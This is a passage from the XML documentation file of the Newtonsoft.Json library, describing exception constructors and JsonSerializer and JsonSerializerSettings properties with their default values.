name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member 